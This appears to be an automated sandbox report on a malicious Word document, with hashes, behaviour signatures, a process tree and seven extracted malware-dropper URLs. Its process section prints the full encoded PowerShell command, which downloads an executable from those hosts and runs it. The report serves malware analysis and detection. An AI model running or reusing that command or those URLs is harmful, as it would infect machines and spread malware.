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Analysis

  • max time kernel
    120s
  • max time network
    125s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    05/05/2024, 12:52

General

  • Target

    17c1864a92b2089696428c6ba3610db1_JaffaCakes118.doc

  • Size

    159KB

  • MD5

    17c1864a92b2089696428c6ba3610db1

  • SHA1

    16961ba6c5f19d189a3aed4654abe31736e15cd8

  • SHA256

    ff89c1fbff53a20e37f95ba53c554cc3e185ffea3af08c722c963aced19af949

  • SHA512

    9960386f6be5b06121e3ef9643722653cabe417fb43e25cbec3f51f6830b7746c030c168931c2b711cb33ce216c68e4a008b0867009217fe3cc65b6917120786

  • SSDEEP

    1536:+iaqasrdi1Ir77zOH98Wj2gpngx+a9CxRiqLE8ct2PU7eXKSSxH5ppJxuFWD:+0rfrzOH98ipgqkJxuFWD

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://77yxx.com/b5rh/bZxS/

exe.dropper

http://shahramookht.com/t1k12k7t/8jq/

exe.dropper

http://www.aciitaly.com/adminer-master/gkI/

exe.dropper

https://codelta.es/images/9S35FR/

exe.dropper

https://burstoutloud.com/PPL/Hf/

exe.dropper

https://targetin.com/Silder-1/naK/

exe.dropper

http://dbestfishing.com.sg/67s/wfe/

Signatures

  • Blocklisted process makes network request 13 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\17c1864a92b2089696428c6ba3610db1_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1500
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:844
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -encod JABJADMAbAB1AGcAZwB2AD0AKAAnAEUAYgAnACsAKAAnAHUAJwArACcAXwBsAHMAJwApACsAJwB2ACcAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgBWADoAdQBzAGUAcgBwAFIATwBmAEkAbABFAFwAVQBpAEgAaABhAF8AbABcAGYAcQBGAEsAYgBxADQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAHIARQBjAFQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBDAHUAUgBJAHQAeQBgAFAAYABSAG8AdABvAGMAYABvAGwAIgAgAD0AIAAoACcAdABsACcAKwAnAHMAMQAnACsAKAAnADIALAAgAHQAJwArACcAbAAnACsAJwBzADEAMQAsACAAJwApACsAKAAnAHQAbAAnACsAJwBzACcAKQApADsAJABGAF8AegB3AGYAcgBrACAAPQAgACgAKAAnAEgAJwArACcAcwByADcAdwAnACsAJwBtACcAKQArACcAaAAnACsAJwBkAHQAJwApADsAJABRAGQANABnAHkAMwBnAD0AKAAnAEgAbwAnACsAJwBnADEAJwArACgAJwAwAHYAJwArACcAeQAnACkAKQA7ACQAQgA1ADEANQB1ADAAcgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnAE8AJwArACcAZwBpAFUAaQAnACkAKwAoACcAaABoAGEAJwArACcAXwAnACkAKwAoACcAbAAnACsAJwBPAGcAaQAnACkAKwAoACcARgBxACcAKwAnAGYAawAnACsAJwBiAHEANABPACcAKQArACcAZwBpACcAKQAgAC0AcgBFAFAAbABhAGMAZQAgACgAJwBPACcAKwAnAGcAaQAnACkALABbAGMAaABBAHIAXQA5ADIAKQArACQARgBfAHoAdwBmAHIAawArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQAQQBfAHEAbABiADEANgA9ACgAKAAnAFoAJwArACcAdABfADkAJwApACsAJwBrADAAJwArACcAdQAnACkAOwAkAFMANgBfAG4AbgA3AGEAPQAuACgAJwBuAGUAdwAtAG8AJwArACcAYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4ARQB0AC4AdwBFAEIAQwBMAGkARQBOAFQAOwAkAFQAeAAyADMAXwBhAGQAPQAoACcAaAAnACsAKAAnAHQAdAAnACsAJwBwADoAJwApACsAKAAnAC8AJwArACcALwA3ACcAKQArACcANwAnACsAKAAnAHkAJwArACcAeAB4ACcAKQArACcALgBjACcAKwAoACcAbwBtAC8AJwArACcAYgAnACkAKwAoACcANQByACcAKwAnAGgALwBiAFoAeABTACcAKwAnAC8AJwApACsAKAAnACoAaAB0AHQAcAAnACsAJwA6ACcAKQArACgAJwAvACcAKwAnAC8AcwAnACkAKwAnAGgAYQAnACsAKAAnAGgAcgAnACsAJwBhAG0AbwBvACcAKwAnAGsAaAB0ACcAKQArACcALgBjACcAKwAoACcAbwBtAC8AdAAnACsAJwAxAGsAJwApACsAKAAnADEAMgBrACcAKwAnADcAJwApACsAJwB0AC8AJwArACgAJwA4ACcAKwAnAGoAcQAvACcAKQArACcAKgBoACcAKwAoACcAdAB0AHAAOgAnACsAJwAvAC8AJwApACsAKAAnAHcAdwB3AC4AYQBjACcAKwAnAGkAJwArACcAaQAnACsAJwB0AGEAbAAnACkAKwAoACcAeQAnACsAJwAuAGMAbwBtACcAKwAnAC8AJwApACsAJwBhAGQAJwArACcAbQAnACsAKAAnAGkAbgAnACsAJwBlAHIALQBtAGEAcwAnACsAJwB0ACcAKQArACgAJwBlACcAKwAnAHIALwBnAGsAJwApACsAJwBJACcAKwAoACcALwAnACsAJwAqAGgAJwApACsAJwB0AHQAJwArACcAcABzACcAKwAnADoAJwArACgAJwAvAC8AYwAnACsAJwBvACcAKQArACgAJwBkAGUAbAB0ACcAKwAnAGEAJwApACsAJwAuACcAKwAoACcAZQAnACsAJwBzAC8AJwApACsAJwBpACcAKwAoACcAbQAnACsAJwBhAGcAZQBzAC8AJwArACcAOQBTADMANQAnACsAJwBGAFIAJwApACsAJwAvACoAJwArACgAJwBoAHQAdABwAHMAOgAvAC8AYgAnACsAJwB1AHIAJwArACcAcwAnACsAJwB0AG8AdQAnACkAKwAoACcAdAAnACsAJwBsAG8AdQBkACcAKwAnAC4AYwBvAG0ALwBQAFAATAAvAEgAZgAvACoAJwArACcAaAAnACsAJwB0ACcAKwAnAHQAcAAnACsAJwBzADoAJwApACsAKAAnAC8ALwAnACsAJwB0AGEAJwApACsAKAAnAHIAZwAnACsAJwBlAHQAaQAnACsAJwBuAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AUwBpACcAKQArACgAJwBsAGQAZQByAC0AMQAvACcAKwAnAG4AYQAnACsAJwBLAC8AJwArACcAKgBoAHQAdAAnACsAJwBwACcAKQArACcAOgAvACcAKwAoACcALwBkACcAKwAnAGIAJwArACcAZQBzAHQAZgBpAHMAJwApACsAKAAnAGgAaQBuACcAKwAnAGcALgBjAG8AbQAnACsAJwAuACcAKwAnAHMAZwAnACkAKwAoACcALwA2ADcAJwArACcAcwAvAHcAJwApACsAKAAnAGYAZQAnACsAJwAvACcAKQApAC4AIgBTAGAAcABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEEANgB2AHIAXwBhAG8APQAoACgAJwBWACcAKwAnAHQAaABoACcAKQArACgAJwAyACcAKwAnAHYAdQAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEsAdgB4AGkAZAA1AHQAIABpAG4AIAAkAFQAeAAyADMAXwBhAGQAKQB7AHQAcgB5AHsAJABTADYAXwBuAG4ANwBhAC4AIgBEAE8AVwBOAGAATABvAGEAYABkAEYASQBgAEwAZQAiACgAJABLAHYAeABpAGQANQB0ACwAIAAkAEIANQAxADUAdQAwAHIAKQA7ACQARgBpAG0AaQB5AGgAawA9ACgAKAAnAEcAdQAnACsAJwBoACcAKQArACgAJwBmACcAKwAnADQAagB0ACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEIANQAxADUAdQAwAHIAKQAuACIAbABlAGAATgBHAHQASAAiACAALQBnAGUAIAAyADYANgA1ADMAKQAgAHsAJgAoACcASQAnACsAJwBuAHYAbwBrAGUAJwArACcALQBJAHQAZQAnACsAJwBtACcAKQAoACQAQgA1ADEANQB1ADAAcgApADsAJABaAHoAZABhAGcAcABhAD0AKAAnAFIAJwArACgAJwBzACcAKwAnAHQAdAAnACkAKwAoACcAeQAnACsAJwB0AG8AJwApACkAOwBiAHIAZQBhAGsAOwAkAEMAegBjAHgAbQB1ADUAPQAoACgAJwBSACcAKwAnAGkAcAAnACkAKwAoACcANABqACcAKwAnADAAJwApACsAJwB1ACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVwBuADIANwBxADYAYgA9ACgAJwBJAHgAJwArACgAJwBfADEAMgBuACcAKwAnAHYAJwApACkA
      1⤵
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2724

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      cc779e7394c8c5bffb522373aeedb24d

      SHA1

      c302ba04aff51a53592a949707b7eba2187b008e

      SHA256

      02705051d23b667bd4bac82905419f7828a7c0e45981b65c7d1980f6845b5d36

      SHA512

      985100cead2715c02c4e30484eb48055b2a9af26cf29079f3e194a4012d52898ec9676f71b35e0ba50a55c20969b6d569247c87a7df2fdf64715cecce1d34dc1

    • memory/1500-0-0x000000002F9D1000-0x000000002F9D2000-memory.dmp

      Filesize

      4KB

    • memory/1500-50-0x00000000055C0000-0x00000000056C0000-memory.dmp

      Filesize

      1024KB

    • memory/1500-22-0x00000000055C0000-0x00000000056C0000-memory.dmp

      Filesize

      1024KB

    • memory/1500-21-0x00000000055C0000-0x00000000056C0000-memory.dmp

      Filesize

      1024KB

    • memory/1500-8-0x00000000008A0000-0x00000000009A0000-memory.dmp

      Filesize

      1024KB

    • memory/1500-7-0x00000000008A0000-0x00000000009A0000-memory.dmp

      Filesize

      1024KB

    • memory/1500-6-0x00000000008A0000-0x00000000009A0000-memory.dmp

      Filesize

      1024KB

    • memory/1500-2-0x00000000719ED000-0x00000000719F8000-memory.dmp

      Filesize

      44KB

    • memory/1500-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1500-33-0x00000000055C0000-0x00000000056C0000-memory.dmp

      Filesize

      1024KB

    • memory/1500-31-0x00000000055C0000-0x00000000056C0000-memory.dmp

      Filesize

      1024KB

    • memory/1500-69-0x00000000719ED000-0x00000000719F8000-memory.dmp

      Filesize

      44KB

    • memory/1500-68-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1500-46-0x00000000008A0000-0x00000000009A0000-memory.dmp

      Filesize

      1024KB

    • memory/1500-47-0x0000000005C40000-0x0000000005D40000-memory.dmp

      Filesize

      1024KB

    • memory/1500-48-0x00000000055C0000-0x00000000056C0000-memory.dmp

      Filesize

      1024KB

    • memory/1500-45-0x00000000719ED000-0x00000000719F8000-memory.dmp

      Filesize

      44KB

    • memory/1500-51-0x00000000055C0000-0x00000000056C0000-memory.dmp

      Filesize

      1024KB

    • memory/1500-32-0x00000000055C0000-0x00000000056C0000-memory.dmp

      Filesize

      1024KB

    • memory/2724-39-0x000000001B180000-0x000000001B462000-memory.dmp

      Filesize

      2.9MB

    • memory/2724-40-0x0000000002380000-0x0000000002388000-memory.dmp

      Filesize

      32KB